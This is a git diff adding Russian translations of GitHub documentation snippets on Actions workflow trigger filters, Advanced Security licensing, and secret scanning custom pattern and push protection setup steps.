рабочий процесс будет выполняться на событиях `pull_request` для запросов на вытягивание, нацеленных на `releases/10` или `releases/beta/mona`, но не для запросов на вытягивание, нацеленных на `releases/10-alpha` или `releases/beta/3-alpha`, потому что отрицательный шаблон `!releases/**-alpha` соответствует положительному шаблону. + +```yaml +on: + pull_request: + branches: + - 'releases/**' + - '!releases/**-alpha' +``` diff --git a/translations/ru-RU/data/reusables/actions/workflows/section-triggering-a-workflow-paths.md b/translations/ru-RU/data/reusables/actions/workflows/section-triggering-a-workflow-paths.md new file mode 100644 index 000000000000..9144737cbe11 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/workflows/section-triggering-a-workflow-paths.md @@ -0,0 +1,86 @@ +--- +ms.openlocfilehash: 621271104f28983cd2cc1319a302fc1654e54acb +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145067782" +--- + +При использовании событий `push` и `pull_request` можно настроить запускаемый рабочий процесс в зависимости от того, какие пути к файлам изменяются. Фильтры путей не оцениваются при отправке тегов. + +Используйте фильтр `paths`, если требуется включить шаблоны путей к файлам или одновременно включить и исключить их. Используйте фильтр `paths-ignore`, если требуется только исключить шаблоны путей к файлам. Для одного и того же события в рабочем процессе нельзя использовать фильтры `paths` и `paths-ignore` одновременно. + +Если определены как `branches`/`branches-ignore`, так и `paths`, рабочий процесс будет запускаться только в том случае, если выполнены оба фильтра. + +Ключевые слова `paths` и `paths-ignore` принимают стандартные маски, в которых для соответствия нескольким именам путей используются подстановочные знаки `*` и `**`. Дополнительные сведения см. в разделе [Памятка по шаблонам фильтров](/actions/using-workflows/workflow-syntax-for-github-actions#filter-pattern-cheat-sheet). + +#### Пример. Включение путей + +Если хотя бы один путь соответствует шаблону в фильтре `paths`, рабочий процесс запускается. Например, приведенный ниже рабочий процесс будет выполняться при каждой отправке файла JavaScript (`.js`). + +```yaml +on: + push: + paths: + - '**.js' +``` + +{% note %} + +**Примечание.** Если рабочий процесс пропускается из-за [фильтрации путей](/actions/using-workflows/workflow-syntax-for-github-actions#onpushpull_requestpull_request_targetpathspaths-ignore), [фильтрации ветви](/actions/using-workflows/workflow-syntax-for-github-actions#onpull_requestpull_request_targetbranchesbranches-ignore) или [сообщения фиксации](/actions/managing-workflow-runs/skipping-workflow-runs), проверки, связанные с этим рабочим процессом, останутся в состоянии ожидания. Запрос на включение внесенных изменений, требующий успешной проверки, будет заблокирован при слиянии. Дополнительные сведения см. в разделе [Обработка пропущенных, но обязательных проверок](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/troubleshooting-required-status-checks#handling-skipped-but-required-checks). + +{% endnote %} + +#### Пример. Исключение путей + +Если все имена путей соответствуют шаблонам в `paths-ignore`, рабочий процесс не запускается. Если хотя бы одно имя пути не соответствует шаблонам в `paths-ignore`, рабочий процесс запускается. + +Рабочий процесс с приведенным ниже фильтром пути будет выполняться только при событиях `push` с по крайней мере одним файлом за пределами каталога `docs` в корне репозитория. + +```yaml +on: + push: + paths-ignore: + - 'docs/**' +``` + +#### Пример. Включение и исключение путей + +Вы не можете использовать `paths` и `paths-ignore` для фильтрации одного и того же события в одном рабочем процессе. Если вы хотите одновременно включить и исключить шаблоны путей для одного события, используйте фильтр `paths` с символом `!`, чтобы указать, какие пути следует исключить. + +Если вы определяете путь с символом `!`, необходимо также определить по крайней мере один путь без символа `!`. Если вы хотите только исключить пути, используйте вместо этого `paths-ignore`. + +Порядок определения шаблонов имеет значение: + +- Соответствующий отрицательный шаблон (с префиксом `!`) после положительного совпадения исключает путь. +- Соответствующий положительный шаблон после отрицательного совпадения снова включает путь. + +Этот пример запускается каждый раз, когда событие `push` включает файл в каталоге `sub-project` или его подкаталогах, но не в каталоге `sub-project/docs`. Например, принудительная отправка с изменением `sub-project/index.js` или `sub-project/src/index.js` запустит выполнение рабочего процесса, но принудительная отправка, изменяющая только `sub-project/docs/readme.md`, не запустит его. + +```yaml +on: + push: + paths: + - 'sub-project/**' + - '!sub-project/docs/**' +``` + +#### Сравнение различий в GIT + +{% note %} + +**Примечание**. Если вы отправляете более 1000 фиксаций или если {% data variables.product.prodname_dotcom %} не создает различие из-за истечения времени ожидания, рабочий процесс запускается всегда. + +{% endnote %} + +Фильтр определяет, должен ли запускаться рабочий процесс, оценивая измененные файлы и проверяя их по списку `paths-ignore` или `paths`. Если измененных файлов нет, рабочий процесс не запускается. + +{% data variables.product.prodname_dotcom %} создает список измененных файлов, используя различия с двумя точками для push-уведомлений и с тремя точками — для запросов на вытягивание. +- **Запросы на вытягивание**. Различия с тремя точками — это сравнение последней версией тематической ветки с фиксацией, в которой тематическая ветка была в последний раз синхронизирована с основной ветвью. +- **Отправки в существующие ветви**. Различие с двумя точками — это сравнение головных и базовых значений SHA непосредственно друг с другом. +- **Отправки в новые ветви**. Различие с двумя точками в сравнении с родителем предка самой глубокой отправленной фиксации. + +Различия ограничены 300 файлами. Если существуют соответствующие измененные файлы, которые не вошли в первые 300 файлов, возвращенных фильтром, рабочий процесс не запускается. Возможно, потребуется создать более узкие фильтры, чтобы рабочий процесс запускался автоматически. + +Дополнительные сведения см. в разделе [Сравнение ветвей в запросах на вытягивание](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-comparing-branches-in-pull-requests). diff --git a/translations/ru-RU/data/reusables/actions/workflows/section-triggering-a-workflow-schedule.md b/translations/ru-RU/data/reusables/actions/workflows/section-triggering-a-workflow-schedule.md new file mode 100644 index 000000000000..dfd6d95f0916 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/workflows/section-triggering-a-workflow-schedule.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: ab26e7b669a3d22a6ef507ffeb30f74f6f9d7ef8 +ms.sourcegitcommit: 1309b46201604c190c63bfee47dce559003899bf +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145114027" +--- +С помощью `on.schedule` можно определить расписание рабочих процессов. {% data reusables.repositories.actions-scheduled-workflow-example %} + +Дополнительные сведения о синтаксисе cron см. в разделе [События, активирующие рабочие процессы](/actions/automating-your-workflow-with-github-actions/events-that-trigger-workflows#scheduled-events). diff --git a/translations/ru-RU/data/reusables/actions/workflows/section-triggering-a-workflow-types.md b/translations/ru-RU/data/reusables/actions/workflows/section-triggering-a-workflow-types.md new file mode 100644 index 000000000000..0d3e4f7ec2c4 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/workflows/section-triggering-a-workflow-types.md @@ -0,0 +1,17 @@ +--- +ms.openlocfilehash: 67b4dd3749936efb6a7eef53fc38543c3c8a6451 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147878852" +--- +Используйте `on..types` для определения типа действия для события, которое активирует выполнение рабочего процесса. Большинство событий GitHub активируются несколькими типами действий. Например, `label` активируется, если метка имеет значение `created`, `edited` или `deleted`. Ключевое слово `types` позволяет сузить действие, которое приводит к выполнению рабочего процесса. Если только один тип действия активирует событие веб-перехватчика, ключевое слово `types` не требуется. + +Можно использовать массив событий `types`. Дополнительные сведения о каждом событии и типах действий событий см. в разделе [События, которые активируют рабочие процессы](/actions/using-workflows/events-that-trigger-workflows#available-events). + +```yaml +on: + label: + types: [created, edited] +``` diff --git a/translations/ru-RU/data/reusables/actions/workflows/section-triggering-a-workflow.md b/translations/ru-RU/data/reusables/actions/workflows/section-triggering-a-workflow.md new file mode 100644 index 000000000000..d71e7b7bcb3b --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/workflows/section-triggering-a-workflow.md @@ -0,0 +1,14 @@ +--- +ms.openlocfilehash: ca5677255463898b0d3b308a8c6a2b54ffeb3057 +ms.sourcegitcommit: 04329ee7464efbb558d77d06664e8578cd154d87 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/15/2022 +ms.locfileid: "148046482" +--- + +Чтобы автоматически активировать рабочий процесс, используйте `on` для указания событий, которые могут привести к запуску рабочего процесса. Список доступных событий см. в разделе [События, активирующие рабочие процессы](/articles/events-that-trigger-workflows). + +Можно определить одно или несколько событий, которые могут активировать рабочий процесс или задать расписание времени. Можно также настроить рабочий процесс так, чтобы он выполнялся только для определенных файлов, тегов или изменений ветвей. Описание этих параметров приводится в следующих разделах. + +{% data reusables.actions.actions-on-examples %} diff --git a/translations/ru-RU/data/reusables/advanced-security/about-committer-numbers-ghec-ghes.md b/translations/ru-RU/data/reusables/advanced-security/about-committer-numbers-ghec-ghes.md new file mode 100644 index 000000000000..6f3376cb843d --- /dev/null +++ b/translations/ru-RU/data/reusables/advanced-security/about-committer-numbers-ghec-ghes.md @@ -0,0 +1,14 @@ +We record and display two numbers of committers for {% data variables.product.prodname_GH_advanced_security %} on {% data variables.location.product_location %}: + +- **Committers** is the number of committers who contributed to at least one {% ifversion fpt or ghec %}private {% endif %}repository in an organization and who use a seat in your enterprise license. That is, they are also an organization member, an external collaborator, or have a pending invitation to join an organization in your enterprise. +- **Unique to this repository/organization** is the number of committers who contributed only to this repository, or to repositories in this organization. This number shows how many license seats you can free up by disabling {% data variables.product.prodname_GH_advanced_security %} for that repository or organization. + +If there are no unique committers, all active committers also contribute to other repositories or organizations that use {% data variables.product.prodname_GH_advanced_security %}. Disabling the feature for that repository or organization would not free any seats on your license. + +When you remove a user from your enterprise account, the user's license is freed within 24 hours. + +{% note %} + +**Note:** Users can contribute to multiple repositories or organizations. Usage is measured across the whole enterprise account to ensure that each member uses one seat regardless of how many repositories or organizations the user contributes to. + +{% endnote %} diff --git a/translations/ru-RU/data/reusables/advanced-security/about-ghas-license-seats.md b/translations/ru-RU/data/reusables/advanced-security/about-ghas-license-seats.md new file mode 100644 index 000000000000..421ac3e0c762 --- /dev/null +++ b/translations/ru-RU/data/reusables/advanced-security/about-ghas-license-seats.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: a16915bc01711ffbe5aefbb0d16ce4b967c167cd +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147878864" +--- +В каждой лицензии на {% data variables.product.prodname_GH_advanced_security %} указано максимальное количество учетных записей или рабочих мест, которые могут использовать эти функции. Периодически следует проверять, не превышена ли емкость лицензии. diff --git a/translations/ru-RU/data/reusables/advanced-security/about-ghas-organization-policy.md b/translations/ru-RU/data/reusables/advanced-security/about-ghas-organization-policy.md new file mode 100644 index 000000000000..37ab6f5e8cf3 --- /dev/null +++ b/translations/ru-RU/data/reusables/advanced-security/about-ghas-organization-policy.md @@ -0,0 +1,5 @@ +{% ifversion fpt or ghec or ghes %}{% data variables.product.company_short %} bills for {% data variables.product.prodname_advanced_security %} on a per-committer basis. For more information, see "[Managing licensing for {% data variables.product.prodname_GH_advanced_security %}](/billing/managing-licensing-for-github-advanced-security)."{% elsif ghes %}For more information, see "[Managing {% data variables.product.prodname_GH_advanced_security %} for your Enterprise](/admin/advanced-security)."{% endif %} + +You can enforce a policy that controls whether repository administrators are allowed to enable features for {% data variables.product.prodname_advanced_security %} in an organization's repositories. You can configure a policy for all organizations owned by your enterprise account, or for individual organizations that you choose. + +Disallowing {% data variables.product.prodname_advanced_security %} for an organization prevents repository administrators from enabling {% data variables.product.prodname_advanced_security %} features for additional repositories, but does not disable the features for repositories where the features are already enabled. For more information about configuration of {% data variables.product.prodname_advanced_security %} features, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)" or "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)." diff --git a/translations/ru-RU/data/reusables/advanced-security/check-for-ghas-license.md b/translations/ru-RU/data/reusables/advanced-security/check-for-ghas-license.md new file mode 100644 index 000000000000..5c9cf606f3ae --- /dev/null +++ b/translations/ru-RU/data/reusables/advanced-security/check-for-ghas-license.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: c5fa7c8703f3f0f4e99da4dc240b72588b4c25b3 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145093045" +--- +Вы можете определить, есть ли у вашей организации лицензия на {% data variables.product.prodname_GH_advanced_security %}, просмотрев параметры организации. Дополнительные сведения см. в разделе [Включение GitHub Advanced Security для организации](/admin/advanced-security/enabling-github-advanced-security-for-your-enterprise#checking-whether-your-license-includes-github-advanced-security). diff --git a/translations/ru-RU/data/reusables/advanced-security/custom-link-beta.md b/translations/ru-RU/data/reusables/advanced-security/custom-link-beta.md new file mode 100644 index 000000000000..ac3310c0898b --- /dev/null +++ b/translations/ru-RU/data/reusables/advanced-security/custom-link-beta.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: f9f5661230c99fb281c3625972b7e5d0fce98963 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148108817" +--- +{% note %} + +**Примечание:** Возможность добавления ссылок на ресурсы для заблокированных push-сообщений в настоящее время доступна в общедоступной бета-версии и может быть изменена. + +{% endnote %} diff --git a/translations/ru-RU/data/reusables/advanced-security/getting-the-most-from-your-license.md b/translations/ru-RU/data/reusables/advanced-security/getting-the-most-from-your-license.md new file mode 100644 index 000000000000..77928b9ea052 --- /dev/null +++ b/translations/ru-RU/data/reusables/advanced-security/getting-the-most-from-your-license.md @@ -0,0 +1,14 @@ +--- +ms.openlocfilehash: 255dcb0346e9413e32492c34a7724df6284cd325 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "146455744" +--- +Когда вы решите, какие репозитории и организации следует приоритезировать для {% data variables.product.prodname_GH_advanced_security %}, их следует проверить и определить: + +- Базы кода, наиболее важные для успеха компании. Это проекты, для которых внедрение уязвимого кода, жестко запрограммированных секретов или небезопасных зависимостей окажет наибольшее влияние на компанию. +- Базы кода с наибольшей частотой фиксации. Это наиболее активно разработанные проекты, поэтому существует повышенный риск возникновения проблем с безопасностью. + +Если вы включили {% data variables.product.prodname_GH_advanced_security %} для этих организаций или репозиториев, оцените, какие другие базы кода можно добавить, не подвергаясь выставлению счетов за уникальных выполняющих фиксации. Наконец, проверьте оставшиеся важные и занятые базы кода. {% ifversion fpt or ghes or ghec %}Если вы хотите увеличить количество рабочих мест в лицензии, обратитесь к {% data variables.contact.contact_enterprise_sales %}.{% endif %} diff --git a/translations/ru-RU/data/reusables/advanced-security/ghas-helps-developers.md b/translations/ru-RU/data/reusables/advanced-security/ghas-helps-developers.md new file mode 100644 index 000000000000..1a220d77546c --- /dev/null +++ b/translations/ru-RU/data/reusables/advanced-security/ghas-helps-developers.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 6bf73ca92cb1ff519f97c1a0312379ddbcfcdd8f +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147878859" +--- +{% data variables.product.prodname_GH_advanced_security %} помогает разработчикам улучшать и поддерживать безопасность и качество кода. Дополнительные сведения см. в разделе [Сведения о {% data variables.product.prodname_GH_advanced_security %}](/github/getting-started-with-github/about-github-advanced-security). diff --git a/translations/ru-RU/data/reusables/advanced-security/ghas-must-be-enabled.md b/translations/ru-RU/data/reusables/advanced-security/ghas-must-be-enabled.md new file mode 100644 index 000000000000..2d72473fecae --- /dev/null +++ b/translations/ru-RU/data/reusables/advanced-security/ghas-must-be-enabled.md @@ -0,0 +1 @@ +{% data variables.product.prodname_GH_advanced_security %} features must be available to the organization for this policy to take effect. For more information, see "[Enforcing a policy for the use of {% data variables.product.prodname_GH_advanced_security %} in your enterprise's organizations](#enforcing-a-policy-for-the-use-of-github-advanced-security-in-your-enterprises-organizations)." diff --git a/translations/ru-RU/data/reusables/advanced-security/license-overview.md b/translations/ru-RU/data/reusables/advanced-security/license-overview.md new file mode 100644 index 000000000000..abe21c11b43d --- /dev/null +++ b/translations/ru-RU/data/reusables/advanced-security/license-overview.md @@ -0,0 +1,20 @@ +--- +ms.openlocfilehash: 5d75f2a8b4c2c9bfdf7b491d23f76f4f820b98e7 +ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/12/2022 +ms.locfileid: "145093041" +--- +В каждой лицензии на {% data variables.product.prodname_GH_advanced_security %} указано максимальное количество учетных записей или рабочих мест, которые могут использовать эти функции. Каждый активный выполняющий фиксации по крайней мере в одном репозитории с включенной функцией использует одно рабочее место. Выполняющий фиксации считается активным, если одна из его фиксаций была отправлена в репозиторий в течение последних 90 дней (независимо от того, когда она была первоначально создана). + +{% note %} + +**Примечание.** Активные выполняющие фиксации вычисляются с помощью сведений об авторе фиксации и метки времени при отправке кода в {% data variables.product.product_name %}. + +- Когда пользователь отправляет код в {% data variables.product.prodname_dotcom %}, каждый пользователь, создавший код в этой отправке, учитывается в количестве рабочих мест {% data variables.product.prodname_GH_advanced_security %}, даже если код не является новым для {% data variables.product.prodname_dotcom %}. + +- Пользователи всегда должны создавать ветви из последней базы или перемещать их перед отправкой. Это гарантирует, что пользователи, не зафиксированные за последние 90 дней, не занимают рабочие места {% data variables.product.prodname_GH_advanced_security %}. + +{% endnote %} + diff --git a/translations/ru-RU/data/reusables/advanced-security/managing-license-usage-ghec-ghes.md b/translations/ru-RU/data/reusables/advanced-security/managing-license-usage-ghec-ghes.md new file mode 100644 index 000000000000..38c26282e399 --- /dev/null +++ b/translations/ru-RU/data/reusables/advanced-security/managing-license-usage-ghec-ghes.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: c47a4efc23963dcfa0be69207387cd2d02704aef +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147878858" +--- +При включении или отключении {% data variables.product.prodname_advanced_security %} для репозиториев {% data variables.product.prodname_dotcom %} отображает обзор изменений использования лицензии. Если отменяете доступ к {% data variables.product.prodname_GH_advanced_security %}, все места, используемые "уникальными" фиксациями, освобождаются. + +Если вы превышаете ограничение лицензии, {% data variables.product.prodname_GH_advanced_security %} продолжает работать со всеми репозиториями, в которых она уже включена. Однако в организациях, где {% data variables.product.prodname_GH_advanced_security %} включено для новых репозиториев, репозитории будут созданы с отключенной функцией. Кроме того, параметр включения {% data variables.product.prodname_GH_advanced_security %} для существующих репозиториев будет недоступен. {% ifversion fpt or ghec %} Если изменить видимость репозитория с общедоступного на закрытый, то {% data variables.product.prodname_GH_advanced_security %} будет отключен для этого репозитория.{% endif %} + +Как только вы освободите некоторые места, отключив {% data variables.product.prodname_GH_advanced_security %} для некоторых репозиториев или увеличив размер лицензии, параметры включения {% data variables.product.prodname_GH_advanced_security %} будут работать снова как обычно. diff --git a/translations/ru-RU/data/reusables/advanced-security/more-info-ghas.md b/translations/ru-RU/data/reusables/advanced-security/more-info-ghas.md new file mode 100644 index 000000000000..f0039ac963ba --- /dev/null +++ b/translations/ru-RU/data/reusables/advanced-security/more-info-ghas.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 15c90c5b8c6b5664c7c02e4976c552a8362f76e3 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145089061" +--- +Дополнительные сведения см. в разделе [Сведения о {% data variables.product.prodname_GH_advanced_security %}](/github/getting-started-with-github/about-github-advanced-security). diff --git a/translations/ru-RU/data/reusables/advanced-security/more-information-about-enforcement-policy.md b/translations/ru-RU/data/reusables/advanced-security/more-information-about-enforcement-policy.md new file mode 100644 index 000000000000..deef30435ecc --- /dev/null +++ b/translations/ru-RU/data/reusables/advanced-security/more-information-about-enforcement-policy.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 1b37f350d1a16509df7b661fcde678b6599b3f09 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147879285" +--- +Дополнительные сведения см. в разделе [Применение политик для {% data variables.product.prodname_advanced_security %} на предприятии]({% ifversion fpt %}/enterprise-cloud@latest{% endif %}/admin/policies/enforcing-policies-for-advanced-security-in-your-enterprise). diff --git a/translations/ru-RU/data/reusables/advanced-security/note-org-enable-uses-seats.md b/translations/ru-RU/data/reusables/advanced-security/note-org-enable-uses-seats.md new file mode 100644 index 000000000000..a1aa5c680045 --- /dev/null +++ b/translations/ru-RU/data/reusables/advanced-security/note-org-enable-uses-seats.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: 02bc16f3628ae7c778c81a8d5b7831703b5b725a +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147878870" +--- +{% ifversion ghes or ghec %} {% note %} + +**Примечание.** Если включить {% data variables.product.prodname_GH_advanced_security %}, в фиксациях этих репозиториев будут использовать рабочие места по вашей лицензии {% data variables.product.prodname_GH_advanced_security %}. Этот параметр отключается, если вы превысили емкость лицензии. {% ifversion fpt or ghec %} Дополнительные сведения см. в разделе "[Сведения о выставлении счетов за {% data variables.product.prodname_GH_advanced_security %}](/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security)."{% endif %} {% endnote %} {% endif %} diff --git a/translations/ru-RU/data/reusables/advanced-security/secret-scanning-add-custom-pattern-details.md b/translations/ru-RU/data/reusables/advanced-security/secret-scanning-add-custom-pattern-details.md new file mode 100644 index 000000000000..9907231449c3 --- /dev/null +++ b/translations/ru-RU/data/reusables/advanced-security/secret-scanning-add-custom-pattern-details.md @@ -0,0 +1,9 @@ +1. Enter the details for your new custom pattern: + 1. You must at least provide the name for your pattern, and a regular expression for the format of your secret pattern. + 1. You can click **More options {% octicon "chevron-down" aria-label="down" %}** to provide other surrounding content or additional match requirements for the secret format. + 1. Provide a sample test string to make sure your configuration is matching the patterns you expect. + {% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} + ![Create a custom {% data variables.product.prodname_secret_scanning %} pattern form](/assets/images/help/repository/secret-scanning-create-custom-pattern.png) + {% else %} + ![Create a custom {% data variables.product.prodname_secret_scanning %} pattern form](/assets/images/enterprise/3.2/repository/secret-scanning-create-custom-pattern.png) + {% endif %} diff --git a/translations/ru-RU/data/reusables/advanced-security/secret-scanning-create-custom-pattern.md b/translations/ru-RU/data/reusables/advanced-security/secret-scanning-create-custom-pattern.md new file mode 100644 index 000000000000..f4fc70a9c226 --- /dev/null +++ b/translations/ru-RU/data/reusables/advanced-security/secret-scanning-create-custom-pattern.md @@ -0,0 +1 @@ +1. When you're satisfied with your new custom pattern, click {% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}**Publish pattern**{% else %}**Create pattern**.{% endif %} diff --git a/translations/ru-RU/data/reusables/advanced-security/secret-scanning-dry-run-results.md b/translations/ru-RU/data/reusables/advanced-security/secret-scanning-dry-run-results.md new file mode 100644 index 000000000000..b68f17aac0ef --- /dev/null +++ b/translations/ru-RU/data/reusables/advanced-security/secret-scanning-dry-run-results.md @@ -0,0 +1,12 @@ +--- +ms.openlocfilehash: ca9405d127581cff137c4f711a57af6d881cb6db +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147549095" +--- +1. По завершении пробного запуска вы увидите выборку результатов (до 1000). Проверьте результаты и определите ложноположительные. + ![Снимок экрана: результаты из пробного запуска](/assets/images/help/repository/secret-scanning-publish-pattern.png) +1. Измените новый пользовательский шаблон, чтобы устранить все проблемы с результатами, а затем, чтобы протестировать изменения, щелкните **Сохранить и выполнить пробный запуск**. + diff --git a/translations/ru-RU/data/reusables/advanced-security/secret-scanning-dry-run-select-enterprise-repos.md b/translations/ru-RU/data/reusables/advanced-security/secret-scanning-dry-run-select-enterprise-repos.md new file mode 100644 index 000000000000..059a869dec6d --- /dev/null +++ b/translations/ru-RU/data/reusables/advanced-security/secret-scanning-dry-run-select-enterprise-repos.md @@ -0,0 +1,17 @@ +--- +ms.openlocfilehash: 555d4a026738d2451827fe5707eed6358f7f2468 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147549122" +--- +{%- ifversion custom-pattern-dry-run-ga %} +1. Найдите и выберите до 10 репозиториев, в которых требуется выполнить пробный запуск. + ![Снимок экрана: репозитории, выбранные для пробного запуска](/assets/images/help/repository/secret-scanning-dry-run-custom-pattern-select-repo-only.png) +1. Когда вы будете готовы протестировать новый пользовательский шаблон, щелкните **Выполнить**. +{%- else %} +1. Найдите и выберите до 10 репозиториев, в которых требуется выполнить пробный запуск. + ![Снимок экрана: репозитории, выбранные для пробного запуска](/assets/images/help/repository/secret-scanning-dry-run-custom-pattern-select-repo.png) +1. Когда вы будете готовы протестировать новый пользовательский шаблон, щелкните **Пробный запуск**. +{%- endif %} diff --git a/translations/ru-RU/data/reusables/advanced-security/secret-scanning-dry-run-select-repos.md b/translations/ru-RU/data/reusables/advanced-security/secret-scanning-dry-run-select-repos.md new file mode 100644 index 000000000000..d15f407cfed2 --- /dev/null +++ b/translations/ru-RU/data/reusables/advanced-security/secret-scanning-dry-run-select-repos.md @@ -0,0 +1,20 @@ +--- +ms.openlocfilehash: 55be1692eaf41dbee91aa298eeb9a969e5b91b42 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147549079" +--- +{%- ifversion custom-pattern-dry-run-ga %} +1. Выберите репозитории, в которых требуется выполнить пробное выполнение. + * Чтобы выполнить пробное выполнение во всей организации, щелкните **Все репозитории в организации**. + ![Снимок экрана: репозитории, выбранные для пробного запуска](/assets/images/help/repository/secret-scanning-dry-run-custom-pattern-all-repos.png) + * Чтобы указать репозитории, в которых требуется выполнить пробное выполнение, щелкните **Выбранные репозитории**, а затем найдите и выберите до 10 репозиториев. + ![Снимок экрана: репозитории, выбранные для пробного запуска](/assets/images/help/repository/secret-scanning-dry-run-custom-pattern-select-repos-option.png) +1. Когда вы будете готовы протестировать новый пользовательский шаблон, щелкните **Выполнить**. +{%- else %} +1. Найдите и выберите до 10 репозиториев, в которых требуется выполнить пробный запуск. + ![Снимок экрана: репозитории, выбранные для пробного запуска](/assets/images/help/repository/secret-scanning-dry-run-custom-pattern-select-repo.png) +1. Когда вы будете готовы протестировать новый пользовательский шаблон, щелкните **Пробный запуск**. +{%- endif %} diff --git a/translations/ru-RU/data/reusables/advanced-security/secret-scanning-new-custom-pattern.md b/translations/ru-RU/data/reusables/advanced-security/secret-scanning-new-custom-pattern.md new file mode 100644 index 000000000000..08822c829145 --- /dev/null +++ b/translations/ru-RU/data/reusables/advanced-security/secret-scanning-new-custom-pattern.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: c455cfdb3706ad7173d511a2e4b4fb1ff445d648 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148108812" +--- +1. В разделе "{% data variables.product.prodname_secret_scanning_caps %}" в разделе "Пользовательские шаблоны" щелкните **Новый шаблон**. diff --git a/translations/ru-RU/data/reusables/advanced-security/secret-scanning-push-protection-enterprise.md b/translations/ru-RU/data/reusables/advanced-security/secret-scanning-push-protection-enterprise.md new file mode 100644 index 000000000000..71da70dbf44c --- /dev/null +++ b/translations/ru-RU/data/reusables/advanced-security/secret-scanning-push-protection-enterprise.md @@ -0,0 +1,8 @@ +1. Under "{% data variables.product.prodname_secret_scanning_caps %}", under "Push protection", click **Enable all**. + + ![Screenshot showing how to enable push protection for {% data variables.product.prodname_secret_scanning %} for an enterprise](/assets/images/enterprise/security/secret-scanning-enable-push-protection-enterprise.png) + +2. Optionally, click "Automatically enable for repositories added to {% data variables.product.prodname_secret_scanning %}."{% ifversion secret-scanning-custom-link-on-block %} +3. Optionally, to include a custom link in the message that members will see when they attempt to push a secret, click **Add a resource link in the CLI and web UI when a commit is blocked**, then type a URL, and click **Save link**. + + ![Screenshot showing checkbox and text field for enabling a custom link](/assets/images/help/organizations/secret-scanning-custom-link.png){% endif %} diff --git a/translations/ru-RU/data/reusables/advanced-security/secret-scanning-push-protection-org.md b/translations/ru-RU/data/reusables/advanced-security/secret-scanning-push-protection-org.md new file mode 100644 index 000000000000..5efcabdade35 --- /dev/null +++ b/translations/ru-RU/data/reusables/advanced-security/secret-scanning-push-protection-org.md @@ -0,0 +1,6 @@ +1. Under "{% data variables.product.prodname_secret_scanning_caps %}", under "Push protection", click **Enable all**. + {% ifversion ghec %}![Screenshot showing how to enable push protection for {% data 